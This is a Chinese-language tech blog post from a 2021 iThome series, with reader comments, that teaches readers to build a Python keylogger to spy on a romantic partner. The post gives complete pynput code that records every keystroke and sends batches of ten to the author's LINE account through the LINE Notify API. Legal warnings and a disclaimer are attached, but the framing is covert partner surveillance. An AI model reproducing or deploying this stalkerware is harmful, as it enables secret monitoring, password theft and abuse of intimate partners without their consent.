iT邦幫忙

2021 iThome 鐵人賽

DAY 8
13
Software Development

奇怪的知識增加了!原來程式還可以這樣用?!系列 第 8

[Day8] 從入門到入獄! 用Python竊聽電腦鍵盤事件!

  • 分享至 

  • xImage
  •  

《刑法》第315之1條:「無故利用『工具』或『設備』窺視、竊聽」或無故以『錄音』、『照相』、『錄影』或『電磁紀錄』竊錄」他人非公開之活動、言論、談話或身體隱私部位者,處3年以下有期徒刑、拘役或30萬元以下罰金」

看到上面的妨害秘密罪了嗎?
強烈呼籲大家在做這件事之前要先告知另外一半,並且得到對方同意才可以做喔!

免責聲明: 若讀者因私德問題侵犯他人權益,本人不負任何責任


[Day5] 另一半疑似劈腿?! 教你用Python科技抓姦!有教大家截圖傳送到LINE裡,
但是畢竟不是每分每秒都在截圖,不能完全掌握對方到底在幹嘛對吧!
現在要教大家如何用Python把對方在電腦打的每 個 字傳給你 (回傳英文字母喔)

使用環境

程式碼請服用

import requests
from pynput import keyboard

times = 0
char_list = []

def on_press(key):
    global times
    global char_list
    try:
        char_list.append(key.char[0])
        times += 1
        if times == 10: # 這邊設定每十個字傳一條訊息,不然訊息太多會塞車
            headers = {
            "Authorization": "Bearer " + "填入上上篇教的token",
            }
    
            params = {"message": char_list,} # 將偵測到的字母傳到LINE裡
            r = requests.post("https://notify-api.line.me/api/notify",
                                    headers=headers, params=params)
            char_list = []
            times = 0
        
    except AttributeError:
        if key == keyboard.Key.esc: # 按ESC就停止程式,不停也可以啦
            return False
        char_list.append(key)
        times += 1
        if times == 10:
            headers = {
            "Authorization": "Bearer " + "填入上上篇教的token",
            }
    
            params = {"message": char_list,} # 將偵測到的字母傳到LINE裡
            r = requests.post("https://notify-api.line.me/api/notify",
                                    headers=headers, params=params)
            char_list = []
            times = 0
        
def on_release(key):
    if key == keyboard.Key.esc: # 按ESC就停止程式,不停也可以啦
        return False

with keyboard.Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()

成果發表會

這個一看就知道是在打LOL嘛!
後面那個e04很明顯是在罵人,雖然很沒修養,但至少沒再徵網婆了,真是可喜可賀!

話說不要拿來監控別人打的帳號密碼去亂登人家的帳號!!
這樣真的會入獄!


上一篇
[Day7] 抓姦神器PRO! 如何毀屍滅跡看這篇!
下一篇
[Day9] 記得色情守門員嗎? 教你用Python做簡易版守門員!
系列文
奇怪的知識增加了!原來程式還可以這樣用?!31
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中
1
dscwferp
iT邦高手 1 級 ‧ 2021-09-08 13:32:50

GOOD!
但這樣會不會被 line 停權?

lulu_meat iT邦研究生 5 級 ‧ 2021-09-08 13:35:06 檢舉

我也不知道耶 目前一年了都沒被停權過
希望之後也不會被停權><
/images/emoticon/emoticon34.gif

peer iT邦新手 5 級 ‧ 2021-09-13 14:48:00 檢舉

一年了...有抓到嗎XD

2
彭偉鎧
iT邦研究生 3 級 ‧ 2021-09-08 13:52:47

空格跟標點符號要怎麼辦? 英文每一個都回傳 但是組不起來也沒用吧?
而且,如果英文文法不對,可能你好不容易組好,翻譯好了,都已經分手了!

lulu_meat iT邦研究生 5 級 ‧ 2021-09-08 15:22:24 檢舉

可以搭配線上注音忘記切換輸入法解碼神器使用,把程式逗點部分拿掉就可以翻譯囉~
https://ithelp.ithome.com.tw/upload/images/20210908/20133286FxC0m76Dgl.png
如果英文文法錯的話,對方應該會刪掉重打,所以我看到有<-Backspace的前幾個字就不會翻了~

Marvin iT邦新手 2 級 ‧ 2021-09-08 15:46:31 檢舉

好像危險到愈來愈高了,趕快訂閱起來!!!

1
jiatool
iT邦研究生 4 級 ‧ 2021-09-09 09:35:44

這系列文不訂閱起來,以後怎麼被搞死的都不知道(X
?

lulu_meat iT邦研究生 5 級 ‧ 2021-09-09 10:09:19 檢舉

謝謝您的支持! 但是之後的主題都會很和平喔~

lulu_meat iT邦研究生 5 級 ‧ 2021-09-09 10:09:47 檢舉

好像也沒有欸 還是有些很可怕

1
Chil
iT邦新手 4 級 ‧ 2021-09-09 10:50:56

我也有玩過Python+Line Notify ,不過只是用來監看網站有沒有壞掉(O
可以玩成這樣真的太酷了(讚嘆

0
史帝夫
iT邦新手 3 級 ‧ 2021-09-22 14:15:53

留言區挖寶...莫名被這逗笑,原來有這種工具...長知識~

我要留言

立即登入留言